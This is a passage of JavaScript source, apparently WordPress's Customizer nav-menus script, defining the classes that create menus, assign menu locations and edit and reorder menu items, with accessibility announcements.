section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable. // @todo Note that wp.customize.reflowPaneContents() is debounced, // so this immediate change will show a slight flicker while priorities get updated. api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems(); } if ( _.isFunction( completeCallback ) ) { completeCallback(); } }; } api.Section.prototype.onChangeExpanded.call( section, expanded, args ); }, /** * Highlight how a user may create new menu items. * * This method reminds the user to create new menu items and how. * It's exposed this way because this class knows best which UI needs * highlighted but those expanding this section know more about why and * when the affordance should be highlighted. * * @since 4.9.0 * * @return {void} */ highlightNewItemButton: function() { api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } ); } }); /** * Create a nav menu setting and section. * * @since 4.9.0 * * @param {string} [name=''] Nav menu name. * @return {wp.customize.Menus.MenuSection} Added nav menu. */ api.Menus.createNavMenu = function createNavMenu( name ) { var customizeId, placeholderId, setting; placeholderId = api.Menus.generatePlaceholderAutoIncrementId(); customizeId = 'nav_menu[' + String( placeholderId ) + ']'; // Register the menu control setting. setting = api.create( customizeId, customizeId, {}, { type: 'nav_menu', transport: api.Menus.data.settingTransport, previewer: api.previewer } ); setting.set( $.extend( {}, api.Menus.data.defaultSettingValues.nav_menu, { name: name || '' } ) ); /* * Add the menu section (and its controls). * Note that this will automatically create the required controls * inside via the Section's ready method. */ return api.section.add( new api.Menus.MenuSection( customizeId, { panel: 'nav_menus', title: displayNavMenuName( name ), customizeAction: api.Menus.data.l10n.customizingMenus, priority: 10, menu_id: placeholderId } ) ); }; /** * wp.customize.Menus.NewMenuSection * * Customizer section for new menus. * * @class wp.customize.Menus.NewMenuSection * @augments wp.customize.Section */ api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{ /** * Add behaviors for the accordion section. * * @since 4.3.0 */ attachEvents: function() { var section = this, container = section.container, contentContainer = section.contentContainer, navMenuSettingPattern = /^nav_menu\[/; section.headContainer.find( '.accordion-section-title' ).replaceWith( wp.template( 'nav-menu-create-menu-section-title' ) ); /* * We have to manually handle section expanded because we do not * apply the `accordion-section-title` class to this button-driven section. */ container.on( 'click', '.customize-add-menu-button', function() { section.expand(); }); contentContainer.on( 'keydown', '.menu-name-field', function( event ) { if ( 13 === event.which ) { // Enter. section.submit(); } } ); contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) { section.submit(); event.stopPropagation(); event.preventDefault(); } ); /** * Get number of non-deleted nav menus. * * @since 4.9.0 * @return {number} Count. */ function getNavMenuCount() { var count = 0; api.each( function( setting ) { if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) { count += 1; } } ); return count; } /** * Update visibility of notice to prompt users to create menus. * * @since 4.9.0 * @return {void} */ function updateNoticeVisibility() { container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 ); } /** * Handle setting addition. * * @since 4.9.0 * @param {wp.customize.Setting} setting - Added setting. * @return {void} */ function addChangeEventListener( setting ) { if ( navMenuSettingPattern.test( setting.id ) ) { setting.bind( updateNoticeVisibility ); updateNoticeVisibility(); } } /** * Handle setting removal. * * @since 4.9.0 * @param {wp.customize.Setting} setting - Removed setting. * @return {void} */ function removeChangeEventListener( setting ) { if ( navMenuSettingPattern.test( setting.id ) ) { setting.unbind( updateNoticeVisibility ); updateNoticeVisibility(); } } api.each( addChangeEventListener ); api.bind( 'add', addChangeEventListener ); api.bind( 'removed', removeChangeEventListener ); updateNoticeVisibility(); api.Section.prototype.attachEvents.apply( section, arguments ); }, /** * Set up the control. * * @since 4.9.0 */ ready: function() { this.populateControls(); }, /** * Create the controls for this section. * * @since 4.9.0 */ populateControls: function() { var section = this, menuNameControlId, menuLocationsControlId, newMenuSubmitControlId, menuNameControl, menuLocationsControl, newMenuSubmitControl; menuNameControlId = section.id + '[name]'; menuNameControl = api.control( menuNameControlId ); if ( ! menuNameControl ) { menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, { label: api.Menus.data.l10n.menuNameLabel, description: api.Menus.data.l10n.newMenuNameDescription, section: section.id, priority: 0 } ); api.control.add( menuNameControl.id, menuNameControl ); menuNameControl.active.set( true ); } menuLocationsControlId = section.id + '[locations]'; menuLocationsControl = api.control( menuLocationsControlId ); if ( ! menuLocationsControl ) { menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, { section: section.id, priority: 1, menu_id: '', isCreating: true } ); api.control.add( menuLocationsControlId, menuLocationsControl ); menuLocationsControl.active.set( true ); } newMenuSubmitControlId = section.id + '[submit]'; newMenuSubmitControl = api.control( newMenuSubmitControlId ); if ( !newMenuSubmitControl ) { newMenuSubmitControl = new api.Control( newMenuSubmitControlId, { section: section.id, priority: 1, templateId: 'nav-menu-submit-new-button' } ); api.control.add( newMenuSubmitControlId, newMenuSubmitControl ); newMenuSubmitControl.active.set( true ); } }, /** * Create the new menu with name and location supplied by the user. * * @since 4.9.0 */ submit: function() { var section = this, contentContainer = section.contentContainer, nameInput = contentContainer.find( '.menu-name-field' ).first(), name = nameInput.val(), menuSection; if ( ! name ) { nameInput.addClass( 'invalid' ); nameInput.focus(); return; } menuSection = api.Menus.createNavMenu( name ); // Clear name field. nameInput.val( '' ); nameInput.removeClass( 'invalid' ); contentContainer.find( '.assigned-menu-location input[type=checkbox]' ).each( function() { var checkbox = $( this ), navMenuLocationSetting; if ( checkbox.prop( 'checked' ) ) { navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ); navMenuLocationSetting.set( menuSection.params.menu_id ); // Reset state for next new menu. checkbox.prop( 'checked', false ); } } ); wp.a11y.speak( api.Menus.data.l10n.menuAdded ); // Focus on the new menu section. menuSection.focus( { completeCallback: function() { menuSection.highlightNewItemButton(); } } ); }, /** * Select a default location. * * This method selects a single location by default so we can support * creating a menu for a specific menu location. * * @since 4.9.0 * * @param {string|null} locationId - The ID of the location to select. `null` clears all selections. * @return {void} */ selectDefaultLocation: function( locationId ) { var locationControl = api.control( this.id + '[locations]' ), locationSelections = {}; if ( locationId !== null ) { locationSelections[ locationId ] = true; } locationControl.setSelections( locationSelections ); } }); /** * wp.customize.Menus.MenuLocationControl * * Customizer control for menu locations (rendered as a <select>). * Note that 'nav_menu_location' must match the WP_Customize_Nav_Menu_Location_Control::$type. * * @class wp.customize.Menus.MenuLocationControl * @augments wp.customize.Control */ api.Menus.MenuLocationControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationControl.prototype */{ initialize: function( id, options ) { var control = this, matches = id.match( /^nav_menu_locations\[(.+?)]/ ); control.themeLocation = matches[1]; api.Control.prototype.initialize.call( control, id, options ); }, ready: function() { var control = this, navMenuIdRegex = /^nav_menu\[(-?\d+)]/; // @todo It would be better if this was added directly on the setting itself, as opposed to the control. control.setting.validate = function( value ) { if ( '' === value ) { return 0; } else { return parseInt( value, 10 ); } }; // Create and Edit menu buttons. control.container.find( '.create-menu' ).on( 'click', function() { var addMenuSection = api.section( 'add_menu' ); addMenuSection.selectDefaultLocation( this.dataset.locationId ); addMenuSection.focus(); } ); control.container.find( '.edit-menu' ).on( 'click', function() { var menuId = control.setting(); api.section( 'nav_menu[' + menuId + ']' ).focus(); }); control.setting.bind( 'change', function() { var menuIsSelected = 0 !== control.setting(); control.container.find( '.create-menu' ).toggleClass( 'hidden', menuIsSelected ); control.container.find( '.edit-menu' ).toggleClass( 'hidden', ! menuIsSelected ); }); // Add/remove menus from the available options when they are added and removed. api.bind( 'add', function( setting ) { var option, menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches || false === setting() ) { return; } menuId = matches[1]; option = new Option( displayNavMenuName( setting().name ), menuId ); control.container.find( 'select' ).append( option ); }); api.bind( 'remove', function( setting ) { var menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches ) { return; } menuId = parseInt( matches[1], 10 ); if ( control.setting() === menuId ) { control.setting.set( '' ); } control.container.find( 'option[value=' + menuId + ']' ).remove(); }); api.bind( 'change', function( setting ) { var menuId, matches = setting.id.match( navMenuIdRegex ); if ( ! matches ) { return; } menuId = parseInt( matches[1], 10 ); if ( false === setting() ) { if ( control.setting() === menuId ) { control.setting.set( '' ); } control.container.find( 'option[value=' + menuId + ']' ).remove(); } else { control.container.find( 'option[value=' + menuId + ']' ).text( displayNavMenuName( setting().name ) ); } }); } }); api.Menus.MenuItemControl = api.Control.extend(/** @lends wp.customize.Menus.MenuItemControl.prototype */{ /** * wp.customize.Menus.MenuItemControl * * Customizer control for menu items. * Note that 'menu_item' must match the WP_Customize_Menu_Item_Control::$type. * * @constructs wp.customize.Menus.MenuItemControl * @augments wp.customize.Control * * @inheritDoc */ initialize: function( id, options ) { var control = this; control.expanded = new api.Value( false ); control.expandedArgumentsQueue = []; control.expanded.bind( function( expanded ) { var args = control.expandedArgumentsQueue.shift(); args = $.extend( {}, control.defaultExpandedArguments, args ); control.onChangeExpanded( expanded, args ); }); api.Control.prototype.initialize.call( control, id, options ); control.active.validate = function() { var value, section = api.section( control.section() ); if ( section ) { value = section.active(); } else { value = false; } return value; }; }, /** * Set up the initial state of the screen reader accessibility information for menu items. * * @since 6.6.0 */ initAccessibility: function() { var control = this, menu = $( '#menu-to-edit' ); // Refresh the accessibility when the user comes close to the item in any way. menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility', '.menu-item', function(){ control.refreshAdvancedAccessibilityOfItem( $( this ).find( 'button.item-edit' ) ); } ); // We have to update on click as well because we might hover first, change the item, and then click. menu.on( 'click', 'button.item-edit', function() { control.refreshAdvancedAccessibilityOfItem( $( this ) ); } ); }, /** * refreshAdvancedAccessibilityOfItem( [itemToRefresh] ) * * Refreshes advanced accessibility buttons for one menu item. * Shows or hides buttons based on the location of the menu item. * * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed * * @since 6.6.0 */ refreshAdvancedAccessibilityOfItem: function( itemToRefresh ) { // Only refresh accessibility when necessary. if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) { return; } var primaryItems, itemPosition, title, parentItem, parentItemId, parentItemName, subItems, totalSubItems, $this = $( itemToRefresh ), menuItem = $this.closest( 'li.menu-item' ).first(), depth = menuItem.menuItemDepth(), isPrimaryMenuItem = ( 0 === depth ), itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(), menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-type' ).text(), totalMenuItems = $( '#menu-to-edit li' ).length; if ( isPrimaryMenuItem ) { primaryItems = $( '.menu-item-depth-0' ), itemPosition = primaryItems.index( menuItem ) + 1, totalMenuItems = primaryItems.length, // String together help text for primary menu items. title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems ); } else { parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(), parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(), parentItemName = parentItem.find( '.menu-item-title' ).text(), subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ), totalSubItems = subItems.length, itemPosition = $( subItems.parents( '.menu-item' ).get().reverse() ).index( menuItem ) + 1; // String together help text for sub menu items. if ( depth < 2 ) { title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ); } else { title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth ); } } $this.find( '.screen-reader-text' ).text( title ); // Mark this item's accessibility as refreshed. $this.data( 'needs_accessibility_refresh', false ); }, /** * Override the embed() method to do nothing, * so that the control isn't embedded on load, * unless the containing section is already expanded. * * @since 4.3.0 */ embed: function() { var control = this, sectionId = control.section(), section; if ( ! sectionId ) { return; } section = api.section( sectionId ); if ( ( section && section.expanded() ) || api.settings.autofocus.control === control.id ) { control.actuallyEmbed(); } }, /** * This function is called in Section.onChangeExpanded() so the control * will only get embedded when the Section is first expanded. * * @since 4.3.0 */ actuallyEmbed: function() { var control = this; if ( 'resolved' === control.deferred.embedded.state() ) { return; } control.renderContent(); control.deferred.embedded.resolve(); // This triggers control.ready(). // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); }, /** * Set up the control. */ ready: function() { if ( 'undefined' === typeof this.params.menu_item_id ) { throw new Error( 'params.menu_item_id was not defined' ); } this._setupControlToggle(); this._setupReorderUI(); this._setupUpdateUI(); this._setupRemoveUI(); this._setupLinksUI(); this._setupTitleUI(); }, /** * Show/hide the settings when clicking on the menu item handle. */ _setupControlToggle: function() { var control = this; this.container.find( '.menu-item-handle' ).on( 'click', function( e ) { e.preventDefault(); e.stopPropagation(); var menuControl = control.getMenuControl(), isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ), isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' ); if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) { api.Menus.availableMenuItemsPanel.close(); } if ( menuControl.isReordering || menuControl.isSorting ) { return; } control.toggleForm(); } ); }, /** * Set up the menu-item-reorder-nav */ _setupReorderUI: function() { var control = this, template, $reorderNav; template = wp.template( 'menu-item-reorder-nav' ); // Add the menu item reordering elements to the menu item control. control.container.find( '.item-controls' ).after( template ); // Handle clicks for up/down/left-right on the reorder nav. $reorderNav = control.container.find( '.menu-item-reorder-nav' ); $reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() { var moveBtn = $( this ); control.params.depth = control.getDepth(); moveBtn.focus(); var isMoveUp = moveBtn.is( '.menus-move-up' ), isMoveDown = moveBtn.is( '.menus-move-down' ), isMoveLeft = moveBtn.is( '.menus-move-left' ), isMoveRight = moveBtn.is( '.menus-move-right' ); if ( isMoveUp ) { control.moveUp(); } else if ( isMoveDown ) { control.moveDown(); } else if ( isMoveLeft ) { control.moveLeft(); } else if ( isMoveRight ) { control.moveRight(); control.params.depth += 1; } moveBtn.focus(); // Re-focus after the container was moved. // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); } ); }, /** * Set up event handlers for menu item updating. */ _setupUpdateUI: function() { var control = this, settingValue = control.setting(), updateNotifications; control.elements = {}; control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) ); control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) ); control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) ); control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) ); control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) ); control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) ); control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) ); // @todo Allow other elements, added by plugins, to be automatically picked up here; // allow additional values to be added to setting array. _.each( control.elements, function( element, property ) { element.bind(function( value ) { if ( element.element.is( 'input[type=checkbox]' ) ) { value = ( value ) ? element.element.val() : ''; } var settingValue = control.setting(); if ( settingValue && settingValue[ property ] !== value ) { settingValue = _.clone( settingValue ); settingValue[ property ] = value; control.setting.set( settingValue ); } }); if ( settingValue ) { if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) { element.set( settingValue[ property ].join( ' ' ) ); } else { element.set( settingValue[ property ] ); } } }); control.setting.bind(function( to, from ) { var itemId = control.params.menu_item_id, followingSiblingItemControls = [], childrenItemControls = [], menuControl; if ( false === to ) { menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' ); control.container.remove(); _.each( menuControl.getMenuItemControls(), function( otherControl ) { if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) { followingSiblingItemControls.push( otherControl ); } else if ( otherControl.setting().menu_item_parent === itemId ) { childrenItemControls.push( otherControl ); } }); // Shift all following siblings by the number of children this item has. _.each( followingSiblingItemControls, function( followingSiblingItemControl ) { var value = _.clone( followingSiblingItemControl.setting() ); value.position += childrenItemControls.length; followingSiblingItemControl.setting.set( value ); }); // Now move the children up to be the new subsequent siblings. _.each( childrenItemControls, function( childrenItemControl, i ) { var value = _.clone( childrenItemControl.setting() ); value.position = from.position + i; value.menu_item_parent = from.menu_item_parent; childrenItemControl.setting.set( value ); }); menuControl.debouncedReflowMenuItems(); } else { // Update the elements' values to match the new setting properties. _.each( to, function( value, key ) { if ( control.elements[ key] ) { control.elements[ key ].set( to[ key ] ); } } ); control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent ); // Handle UI updates when the position or depth (parent) change. if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) { control.getMenuControl().debouncedReflowMenuItems(); } } }); // Style the URL field as invalid when there is an invalid_url notification. updateNotifications = function() { control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) ); }; control.setting.notifications.bind( 'add', updateNotifications ); control.setting.notifications.bind( 'removed', updateNotifications ); }, /** * Set up event handlers for menu item deletion. */ _setupRemoveUI: function() { var control = this, $removeBtn; // Configure delete button. $removeBtn = control.container.find( '.item-delete' ); $removeBtn.on( 'click', function() { // Find an adjacent element to add focus to when this menu item goes away. var addingItems = true, $adjacentFocusTarget, $next, $prev, instanceCounter = 0, // Instance count of the menu item deleted. deleteItemOriginalItemId = control.params.original_item_id, addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ), availableMenuItem; if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) { addingItems = false; } $next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first(); $prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first(); if ( $next.length ) { $adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first(); } else if ( $prev.length ) { $adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first(); } else { $adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first(); } /* * If the menu item deleted is the only of its instance left, * remove the check icon of this menu item in the right panel. */ _.each( addedItems, function( addedItem ) { var menuItemId, menuItemControl, matches; // This is because menu item that's deleted is just hidden. if ( ! $( addedItem ).is( ':visible' ) ) { return; } matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' ); if ( ! matches ) { return; } menuItemId = parseInt( matches[1], 10 ); menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' ); // Check for duplicate menu items. if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) { instanceCounter++; } } ); if ( instanceCounter <= 1 ) { // Revert the check icon to add icon. availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id ); availableMenuItem.removeClass( 'selected' ); availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' ); } control.container.slideUp( function() { control.setting.set( false ); wp.a11y.speak( api.Menus.data.l10n.itemDeleted ); $adjacentFocusTarget.focus(); // Keyboard accessibility. } ); control.setting.set( false ); } ); }, _setupLinksUI: function() { var $origBtn; // Configure original link. $origBtn = this.container.find( 'a.original-link' ); $origBtn.on( 'click', function( e ) { e.preventDefault(); api.previewer.previewUrl( e.target.toString() ); } ); }, /** * Update item handle title when changed. */ _setupTitleUI: function() { var control = this, titleEl; // Ensure that whitespace is trimmed on blur so placeholder can be shown. control.container.find( '.edit-menu-item-title' ).on( 'blur', function() { $( this ).val( $( this ).val().trim() ); } ); titleEl = control.container.find( '.menu-item-title' ); control.setting.bind( function( item ) { var trimmedTitle, titleText; if ( ! item ) { return; } item.title = item.title || ''; trimmedTitle = item.title.trim(); titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled; if ( item._invalid ) { titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText ); } // Don't update to an empty title. if ( trimmedTitle || item.original_title ) { titleEl .text( titleText ) .removeClass( 'no-title' ); } else { titleEl .text( titleText ) .addClass( 'no-title' ); } } ); }, /** * * @return {number} */ getDepth: function() { var control = this, setting = control.setting(), depth = 0; if ( ! setting ) { return 0; } while ( setting && setting.menu_item_parent ) { depth += 1; control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' ); if ( ! control ) { break; } setting = control.setting(); } return depth; }, /** * Amend the control's params with the data necessary for the JS template just in time. */ renderContent: function() { var control = this, settingValue = control.setting(), containerClasses; control.params.title = settingValue.title || ''; control.params.depth = control.getDepth(); control.container.data( 'item-depth', control.params.depth ); containerClasses = [ 'menu-item', 'menu-item-depth-' + String( control.params.depth ), 'menu-item-' + settingValue.object, 'menu-item-edit-inactive' ]; if ( settingValue._invalid ) { containerClasses.push( 'menu-item-invalid' ); control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title ); } else if ( 'draft' === settingValue.status ) { containerClasses.push( 'pending' ); control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title ); } control.params.el_classes = containerClasses.join( ' ' ); control.params.item_type_label = settingValue.type_label; control.params.item_type = settingValue.type; control.params.url = settingValue.url; control.params.target = settingValue.target; control.params.attr_title = settingValue.attr_title; control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes; control.params.xfn = settingValue.xfn; control.params.description = settingValue.description; control.params.parent = settingValue.menu_item_parent; control.params.original_title = settingValue.original_title || ''; control.container.addClass( control.params.el_classes ); api.Control.prototype.renderContent.call( control ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * @return {wp.customize.controlConstructor.nav_menu|null} */ getMenuControl: function() { var control = this, settingValue = control.setting(); if ( settingValue && settingValue.nav_menu_term_id ) { return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' ); } else { return null; } }, /** * Expand the accordion section containing a control */ expandControlSection: function() { var $section = this.container.closest( '.accordion-section' ); if ( ! $section.hasClass( 'open' ) ) { $section.find( '.accordion-section-title:first' ).trigger( 'click' ); } }, /** * @since 4.6.0 * * @param {Boolean} expanded * @param {Object} [params] * @return {Boolean} False if state already applied. */ _toggleExpanded: api.Section.prototype._toggleExpanded, /** * @since 4.6.0 * * @param {Object} [params] * @return {Boolean} False if already expanded. */ expand: api.Section.prototype.expand, /** * Expand the menu item form control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ expandForm: function( params ) { this.expand( params ); }, /** * @since 4.6.0 * * @param {Object} [params] * @return {Boolean} False if already collapsed. */ collapse: api.Section.prototype.collapse, /** * Collapse the menu item form control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ collapseForm: function( params ) { this.collapse( params ); }, /** * Expand or collapse the menu item control. * * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide ) * @since 4.5.0 Added params.completeCallback. * * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ toggleForm: function( showOrHide, params ) { if ( typeof showOrHide === 'undefined' ) { showOrHide = ! this.expanded(); } if ( showOrHide ) { this.expand( params ); } else { this.collapse( params ); } }, /** * Expand or collapse the menu item control. * * @since 4.6.0 * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ onChangeExpanded: function( showOrHide, params ) { var self = this, $menuitem, $inside, complete; $menuitem = this.container; $inside = $menuitem.find( '.menu-item-settings:first' ); if ( 'undefined' === typeof showOrHide ) { showOrHide = ! $inside.is( ':visible' ); } // Already expanded or collapsed. if ( $inside.is( ':visible' ) === showOrHide ) { if ( params && params.completeCallback ) { params.completeCallback(); } return; } if ( showOrHide ) { // Close all other menu item controls before expanding this one. api.control.each( function( otherControl ) { if ( self.params.type === otherControl.params.type && self !== otherControl ) { otherControl.collapseForm(); } } ); complete = function() { $menuitem .removeClass( 'menu-item-edit-inactive' ) .addClass( 'menu-item-edit-active' ); self.container.trigger( 'expanded' ); if ( params && params.completeCallback ) { params.completeCallback(); } }; $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' ); $inside.slideDown( 'fast', complete ); self.container.trigger( 'expand' ); } else { complete = function() { $menuitem .addClass( 'menu-item-edit-inactive' ) .removeClass( 'menu-item-edit-active' ); self.container.trigger( 'collapsed' ); if ( params && params.completeCallback ) { params.completeCallback(); } }; self.container.trigger( 'collapse' ); $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' ); $inside.slideUp( 'fast', complete ); } }, /** * Expand the containing menu section, expand the form, and focus on * the first input in the control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Params object. * @param {Function} [params.completeCallback] - Optional callback function when focus has completed. */ focus: function( params ) { params = params || {}; var control = this, originalCompleteCallback = params.completeCallback, focusControl; focusControl = function() { control.expandControlSection(); params.completeCallback = function() { var focusable; // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583 focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ); focusable.first().focus(); if ( originalCompleteCallback ) { originalCompleteCallback(); } }; control.expandForm( params ); }; if ( api.section.has( control.section() ) ) { api.section( control.section() ).expand( { completeCallback: focusControl } ); } else { focusControl(); } }, /** * Move menu item up one in the menu. */ moveUp: function() { this._changePosition( -1 ); wp.a11y.speak( api.Menus.data.l10n.movedUp ); }, /** * Move menu item up one in the menu. */ moveDown: function() { this._changePosition( 1 ); wp.a11y.speak( api.Menus.data.l10n.movedDown ); }, /** * Move menu item and all children up one level of depth. */ moveLeft: function() { this._changeDepth( -1 ); wp.a11y.speak( api.Menus.data.l10n.movedLeft ); }, /** * Move menu item and children one level deeper, as a submenu of the previous item. */ moveRight: function() { this._changeDepth( 1 ); wp.a11y.speak( api.Menus.data.l10n.movedRight ); }, /** * Note that this will trigger a UI update, causing child items to * move as well and cardinal order class names to be updated. * * @private * * @param {number} offset 1|-1 */ _changePosition: function( offset ) { var control = this, adjacentSetting, settingValue = _.clone( control.setting() ), siblingSettings = [], realPosition; if ( 1 !== offset && -1 !== offset ) { throw new Error( 'Offset changes by 1 are only supported.' ); } // Skip moving deleted items. if ( ! control.setting() ) { return; } // Locate the other items under the same parent (siblings). _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { siblingSettings.push( otherControl.setting ); } }); siblingSettings.sort(function( a, b ) { return a().position - b().position; }); realPosition = _.indexOf( siblingSettings, control.setting ); if ( -1 === realPosition ) { throw new Error( 'Expected setting to be among siblings.' ); } // Skip doing anything if the item is already at the edge in the desired direction. if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) { // @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent? return; } // Update any adjacent menu item setting to take on this item's position. adjacentSetting = siblingSettings[ realPosition + offset ]; if ( adjacentSetting ) { adjacentSetting.set( $.extend( _.clone( adjacentSetting() ), { position: settingValue.position } ) ); } settingValue.position += offset; control.setting.set( settingValue ); }, /** * Note that this will trigger a UI update, causing child items to * move as well and cardinal order class names to be updated. * * @private * * @param {number} offset 1|-1 */ _changeDepth: function( offset ) { if ( 1 !== offset && -1 !== offset ) { throw new Error( 'Offset changes by 1 are only supported.' ); } var control = this, settingValue = _.clone( control.setting() ), siblingControls = [], realPosition, siblingControl, parentControl; // Locate the other items under the same parent (siblings). _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { siblingControls.push( otherControl ); } }); siblingControls.sort(function( a, b ) { return a.setting().position - b.setting().position; }); realPosition = _.indexOf( siblingControls, control ); if ( -1 === realPosition ) { throw new Error( 'Expected control to be among siblings.' ); } if ( -1 === offset ) { // Skip moving left an item that is already at the top level. if ( ! settingValue.menu_item_parent ) { return; } parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' ); // Make this control the parent of all the following siblings. _( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) { siblingControl.setting.set( $.extend( {}, siblingControl.setting(), { menu_item_parent: control.params.menu_item_id, position: i } ) ); }); // Increase the positions of the parent item's subsequent children to make room for this one. _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { var otherControlSettingValue, isControlToBeShifted; isControlToBeShifted = ( otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent && otherControl.setting().position > parentControl.setting().position ); if ( isControlToBeShifted ) { otherControlSettingValue = _.clone( otherControl.setting() ); otherControl.setting.set( $.extend( otherControlSettingValue, { position: otherControlSettingValue.position + 1 } ) ); } }); // Make this control the following sibling of its parent item. settingValue.position = parentControl.setting().position + 1; settingValue.menu_item_parent = parentControl.setting().menu_item_parent; control.setting.set( settingValue ); } else if ( 1 === offset ) { // Skip moving right an item that doesn't have a previous sibling. if ( realPosition === 0 ) { return; } // Make the control the last child of the previous sibling. siblingControl = siblingControls[ realPosition - 1 ]; settingValue.menu_item_parent = siblingControl.params.menu_item_id; settingValue.position = 0; _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { settingValue.position = Math.max( settingValue.position, otherControl.setting().position ); } }); settingValue.position += 1; 